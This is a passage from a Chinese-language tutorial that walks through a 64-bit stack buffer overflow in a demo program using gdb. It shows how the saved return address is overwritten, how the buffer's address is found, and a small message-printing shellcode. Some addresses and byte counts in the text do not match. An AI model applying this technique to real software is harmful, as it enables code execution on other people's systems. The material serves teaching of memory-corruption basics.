我们在调用go函数之前设置了一个断点, 在 0x000000000040055a <+29>.然后我们使用参数 myname 来执行我们的程序, 然后程序在进入go函数的时候停了下来. 然后我们通过命令si来执行一条指令。然后看下栈指针 rsp (因为是64位的系统嘛),可以看出rsp的值就是 call go 的下一条指令的地址 0x000000000040055f <+34>。这些就是我们上面所讲的。
下面的输出显示当go函数调用结束的时候,会执行 retq 这个指令,这个指令会将函数的返回地址弹出栈,然后跳到这个地址去执行而不管这个地址指向哪里 。
-----------------------------------
(gdb) disas go
Dump of assembler code for function go:
=> 0x000000000040051c <+0>: push %rbp
0x000000000040051d <+1>: mov %rsp,%rbp
0x0000000000400520 <+4>: sub $0x50,%rsp
0x0000000000400524 <+8>: mov %rdi,-0x48(%rbp)
0x0000000000400528 <+12>: mov -0x48(%rbp),%rdx
0x000000000040052c <+16>: lea -0x40(%rbp),%rax
0x0000000000400530 <+20>: mov %rdx,%rsi
0x0000000000400533 <+23>: mov %rax,%rdi
0x0000000000400536 <+26>: callq 0x4003f0
0x000000000040053b <+31>: leaveq
0x000000000040053c <+32>: retq
End of assembler dump.
(gdb) break *0x40053c
Breakpoint 2 at 0x40053c: file oldskool.c, line 8.
(gdb) continue
Continuing.
Breakpoint 2, 0x000000000040053c in go (data=0x7fffffffe4b4 "myname")
8 }
(gdb) x/i $rip (gdb x命令用于查看内存的数据)
=> 0x40053c : retq
(gdb) x/gx $rsp
0x7fffffffe0c8: 0x000000000040055f
(gdb) si
main (argc=2, argv=0x7fffffffe1c8) at oldskool.c:12
12 }
(gdb) x/gx $rsp
0x7fffffffe0d0: 0x00007fffffffe1c8
(gdb) x/i $rip
=> 0x40055f : leaveq
(gdb) quit
-----------------------------------
我们在go函数即将返回的地方下一个断点然后继续执行。程序会在执行retq指令的地方停下来。我们可以看到栈寄存器rsp还是指向main函数内部那个即将在go函数后面执行的指令。等retq 执行完了,我们可以看出程序立即把返回地址弹出栈让跳过去执行了。现在我们要去覆盖这个返回地址使用perl来提供多于64个字节的数据 。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/me/.hax/vuln/oldskool `perl -e 'print "A"x80'`
Program received signal SIGSEGV, Segmentation fault.
0x000000000040059c in go (data=0x7fffffffe49a 'A' )
12 }
(gdb) x/i $rip
=> 0x40059c : retq
(gdb) x/gx $rsp
0x7fffffffe0a8: 0x4141414141414141
-----------------------------------
我们使用prel在命令行中打印出80个"A",然后把它作为参数传递给我们的实例程序。我们可以看出当程序执行完retq指令的时候崩溃了。因为程序试图跳到的返回地址被字符“A"(0x41) 填充了。主要我们必须要写入80个字节(64+8+8)因为指针在64位机器上面是8个字节的,为什么要加两个8呢 因为在我们的缓冲区和返回地址之间还保存着一个指针 有木有注意到go函数的第一条指令 push ebp ?! 好了,那么现在我们可以做到把程序的执行路径重定向到任意的位置 然后执行我们的命令了吗 ?如果我们把我们的指令放到name[]这个数组中,然后把函数的返回地址覆盖成数组的起始地址,程序就会执行我们的指令(或者说是传说中的shellcode),我们需要知道name[]数组的地址然后才能知道需要把返回地址覆盖成什么值。在本文中我不会教大家如果创建一个shellcode 因为这个有点超出本文的范围了。但是我还是会给你提供一个在屏幕上打印一个消息的shellcode 。我们可以这样来得到name数组的地址。
-----------------------------------
(gdb) p &name
$2 = (char (*)[32]) 0x7fffffffe0a0
-----------------------------------
我们可以使用perl来在命令行上打印不可打印的字符,通过使用对应的16进制来转义,就像这样"\x41"。由于机器上面存储整数和指针是使用小端(little-endian)的,所以我们需要将字节的顺便反过来。因此我们要去覆盖返回地址的值就是 "\xa0\xe0\xff\xff\xff\x7f"
下面就是会在屏幕上打印出我们的消息然后退出的shellcode:
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48
\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9
\xff\xff\xff\x48\x61\x78\x21"